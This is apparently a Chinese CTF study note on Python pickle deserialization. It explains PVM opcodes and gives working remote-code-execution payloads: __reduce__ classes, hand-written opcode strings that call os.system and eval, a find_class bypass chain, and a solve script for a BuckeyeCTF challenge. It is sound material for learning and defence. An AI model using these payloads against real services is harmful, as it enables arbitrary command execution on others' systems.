Last updated on September 27, 2024 am
基础
基于php反序列化的思路学习python反序列化。
Python 中最常用的序列化模块是 pickle 模块。
反序列化则使用pickle 模块的 load() 函数反序列化存储在文件中的 Python 对象。
Python序列化和反序列化例子
1 2 3 4
| class test: def __init__(self): self.people = 'lituer'
|
1 2 3 4 5 6 7 8 9 10 11
| import pickle from 1 import test
a = test() serialized = pickle.dumps(a) print(serialized)
unserialized = pickle.loads(serialized) print(unserialized.people)
|
1 2 3 4 5 6
| #序列化 pickle.dump(文件) pickle.dumps(字符串) #反序列化 pickle.load(文件) 、#pickle.load(open('shell.pickle')) pickle.loads(字符串)
|
1 2 3 4 5 6 7 8 9
| 给同文件的类属性赋值 b'''(c__main__ people S'a' S'man' S'1' o.'''
直接写值就行了
|
上传.pkl文件进行dump
BuckeyeCTF 2023 Text Adventure API代码片断
1 2 3 4 5 6 7 8 9 10 11 12
| if 'file' not in request.files: return jsonify({"message": "No file part"}) file = request.files['file'] if file and file.filename.endswith('.pkl'): try: loaded_session = pickle.load(file) session.update(loaded_session) except: return jsonify({"message": "Failed to load save game session."}) return jsonify({"message": "Game session loaded."}) else: return jsonify({"message": "Invalid file format. Please upload a .pkl file."})
|
这个地方要能够使pickle.load()解析正确做法: 要写一个类,不然会报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import requests import pickle
url = 'https://text-adventure-api.chall.pwnoh.io/api/load'
class exp(object): def __reduce__(self): return (eval, ("__import__('os').popen('cat flag.txt').read()",))
q = exp() data = {"current_location": q} a = pickle.dumps(data) with open('data.pkl','wb') as f: f.write(a) file = {"file": open('data.pkl','rb')} r = requests.post(url=url, files=file) print(r.text)
|
PVM
我们在使用pickler的时候,我们要序列化的内容,必须经过PVM,Pickle Virtual Machine (PVM)是Python语言中的一个虚拟机,用于序列化和反序列化Python对象。它是Python标准库中的一部分,由Python的pickle模块提供支持。下面是Pickle Virtual Machine的运行原理:
- 生成操作码序列:pickle模块在序列化Python对象时,会生成一系列操作码(opcode)来表示对象的类型和值。这些操作码将被保存到文件或网络流中,以便在反序列化时使用。
- 反序列化操作码:在反序列化时,pickle模块读取操作码序列,并将其解释为Python对象。它通过Pickle Virtual Machine来执行操作码序列。Virtual Machine会按顺序读取操作码,并根据操作码的类型执行相应的操作。
- 执行操作码:Pickle Virtual Machine支持多种操作码,包括压入常量、调用函数、设置属性等。执行操作码的过程中,Virtual Machine会维护一个栈来存储数据。当执行操作码时,它会将数据从栈中取出,并根据操作码的类型进行相应的操作。执行完成后,结果将被压入栈中。
- 构造Python对象:当操作码序列被完全执行后,Pickle Virtual Machine会将栈顶的数据作为结果返回。这个结果就是反序列化后的Python对象。
组成
指令处理器、栈区和内存区。
- 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到
.这个结束符.后停止。最终留在栈顶的值将被作为反序列化对象返回。
- 栈区:用 list 实现的,被用来临时存储数据、参数以及对象。
- 内存区:用 dict 实现的,为 PVM 的整个生命周期提供存储。
注意:
(1)操作码是单字节的
(2)带参数的指令用换行符定界
协议
PVN总共有6种协议:v0-v5
从序列化的字节可以判断出是哪种协议,v2-v5的字节都是\x80\x0版本号的形式
而v0-v1则都是以ccopy_reg\n_reconstructor\n开头
opcode(操作码)
| 指令 |
描述 |
具体写法 |
栈上的变化 |
| c |
获取一个全局对象或import一个模块 |
c[module]\n[instance]\n |
获得的对象入栈 |
| o |
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) |
o |
这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 |
| i |
相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) |
i[module]\n[callable]\n |
这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 |
| N |
实例化一个None |
N |
获得的对象入栈 |
| S |
实例化一个字符串对象 |
S’xxx’\n(也可以使用双引号、'等python字符串形式) |
获得的对象入栈 |
| V |
实例化一个UNICODE字符串对象 |
Vxxx\n |
获得的对象入栈 |
| I |
实例化一个int对象 |
Ixxx\n |
获得的对象入栈 |
| F |
实例化一个float对象 |
Fx.x\n |
获得的对象入栈 |
| R |
选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 |
R |
函数和参数出栈,函数的返回值入栈 |
| . |
程序结束,栈顶的一个元素作为pickle.loads()的返回值 |
. |
无 |
| ( |
向栈中压入一个MARK标记 |
( |
MARK标记入栈 |
| t |
寻找栈中的上一个MARK,并组合之间的数据为元组 |
t |
MARK标记以及被组合的数据出栈,获得的对象入栈 |
| ) |
向栈中直接压入一个空元组 |
) |
空元组入栈 |
| l |
寻找栈中的上一个MARK,并组合之间的数据为列表 |
l |
MARK标记以及被组合的数据出栈,获得的对象入栈 |
| d |
寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) |
d |
MARK标记以及被组合的数据出栈,获得的对象入栈 |
| } |
向栈中直接压入一个空字典 |
} |
空字典入栈 |
| p |
将栈顶对象储存至memo_n |
pn\n |
无 |
| g |
将memo_n的对象压栈 |
gn\n |
对象被压栈 |
| 0 |
丢弃栈顶对象 |
0 |
栈顶对象被丢弃 |
| b |
使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 |
b |
栈上第一个元素出栈 |
| s |
将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 |
s |
第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 |
| u |
寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 |
u |
MARK标记以及被组合的数据出栈,字典被更新 |
| a |
将栈的第一个元素append到第二个元素(列表)中 |
a |
栈顶元素出栈,第二个元素(列表)被更新 |
| e |
寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 |
e |
MARK标记以及被组合的数据出栈,列表被更新 |
pickle规定了pickletools便于人工解读opcode
1 2 3
| pickletools.dis(pickle, out=None, memo=None, indentlevel=4, annotate=0)#将 pickle 的符号化反汇编数据输出到文件类对象 pickletools.genops(pickle) #提供包含 pickle 中所有操作码的 iterator,返回一个 (opcode, arg, pos) 三元组的序列 pickletools.optimize(picklestring) #在消除未使用的 `PUT` 操作码之后返回一个新的等效 pickle 字符串。
|
魔术方法
__reduce__()
对应opcode:R
通过重写__reduce__()使得序列化时按照重写的方式进行。
__reduce__()定义的函数需要返回一个字符串或者元组,但返回元组(callable, ([para1,para2...])[,...])时,进行反序列化会调用callable(para,...)
程序有import os时
1 2 3 4 5 6 7 8 9 10 11
| import pickle import os class EXP(): def __reduce__(self): command=r"whoami" return (os.system,(command,)) p=EXP() opcode=pickle.dumps(p) print(opcode)
|
程序没有import os时
1 2 3 4 5 6 7 8 9 10 11 12 13
| import pickle import base64 class EXP(): def __reduce__(self): command=r"__import__('os').popen('cat /flag').read()" return (eval,(command,)) p=EXP() opcode=pickle.dumps(p) opcode=base64.b64encode(opcode) print(opcode)
|
__repr__()
通过重写该函数,打印实例化对象时会输出__repr__返回的内容,前提是没有写__str__,否则会调用成__str__
1 2 3 4 5 6 7 8 9
| class CLanguage: def __init__(self): self.name = "C语言中文网" self.add = "http://c.biancheng.net" def __repr__(self): return "CLanguage[name="+ self.name +",add=" + self.add +"]" clangs = CLanguage() print(clangs)
|
__eq__()
当进行两个类比较时会自动调用
1
| result == people(b.name, b.sex, b.age)
|
__setstate__()
反序列化时调用__setstate__
__getstate__()
被序列化时调用__getstate__
必须返回一个字典
pickle反序列化漏洞利用思路
全局变量覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| ''' #secret.py secret="ikun" ''' import pickle import secret
print("secret变量的值为:"+secret.secret)
opcode=b'''c__main__ secret (S'secret' S'microblacker' db.''' hack=pickle.loads(opcode)
print("secret变量的值为:"+secret.secret)
|
全局变量引入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import secret import pickle import pickletools
class secret: pwd = "microblacker"
class Test: def __init__(self): self.pwd = secret.pwd
test = Test()
payload1=b'ccopy_reg\n_reconstructor\n(c__main__\nTest\nc__builtin__\nobject\nNtR(dVpwd\nVmicroblacker\nsb.' p=pickle.loads(payload1) print(p.pwd)
payload2=b'ccopy_reg\n_reconstructor\np0\n(c__main__\nTest\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVpwd\np6\nI123\nsb.' p=pickle.loads(payload2) print(p.pwd)
|
1 2 3 4
| b'ccopy_reg\n_reconstructor\n(c__main__\nTest\nc__builtin__\nobject\nNtR(dVpwd\nVmicroblacker\nsb.' 这句通过s指令形成键值{'pwd':'microblacker'} b'ccopy_reg\n_reconstructor\n(c__main__\nTest\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.' 这句则通过s指令形成键值{'pwd':'secret.pwd'} 并且是全局变量
|
命令执行
通过在类中重写__reduce__方法,从而在反序列化时执行任意命令,但是通过这种方法一次只能执行一个命令,如果想一次执行多个命令,就只能通过手写opcode的方式。可以依靠四个指令来完成:R,i,o,b
R
选择栈上的第一个对象作为函数、第二个对象作为参数,然后调用该函数
1 2 3 4
| opcode=b'''cos system (S'whoami' tR.'''
|
i
相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
1 2 3 4
| opcode=b'''(S'whoami' ios system .'''
|
o
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
1 2 3 4
| opcode=b'''(cos system S'whoami' o.'''
|
b +__setstate__()
1 2 3 4 5 6
| import pickle class animal: def __init__(self): self.animal="dog" a=b'\x80\x03c__main__\nanimal\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.' b=pickle.loads(a)
|
过滤绕过
过滤R
利用其他指令绕过
过滤变量名
双exec绕过
1 2 3 4
| b'''(S'exec('admin.se'+'cret="admin"')' i__builtin__ exec .'''
|
绕过Unpickler.find_class()
只用c对builtin进行操作来构造payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| opcode=b'''cbuiltins getattr p0 #取到内置函数 getattr(),用于获取对象的属性。 (cbuiltins dict S'get' tRp1 #取到builtins.dict cbuiltins globals )Rp2 # getattr(dict, 'get') 00g1 (g2 S'__builtins__' # get(__import__('builtins').globals(), '__builtins__') tRp3 0g0 #getattr(__builtins__, 'eval') (g3 S'eval' tR(S'__import__("os").system("calc")' # 取到 eval 然后实现 RCE tR. '''
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| opcode=b'''cbuiltins getattr p0 (cbuiltins dict S'get' tRp1 cbuiltins globals )Rp2 00g1 (g2 S'__builtins__' tRp3 0g0 (g3 S'eval' tR(S'__import__("os").system("calc")' tR. '''
|
绕过R,使用o
1 2
| b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("calc")o00.' '''
|
编码绕过
S'flag' 可以替换为S'\x66\x6c\x61\x67'或者V'\u0066\u006C\u0061\u0067'
参考资料
https://tttang.com/archive/1885/
https://goodapple.top/archives/1069
https://forum.butian.net/share/1929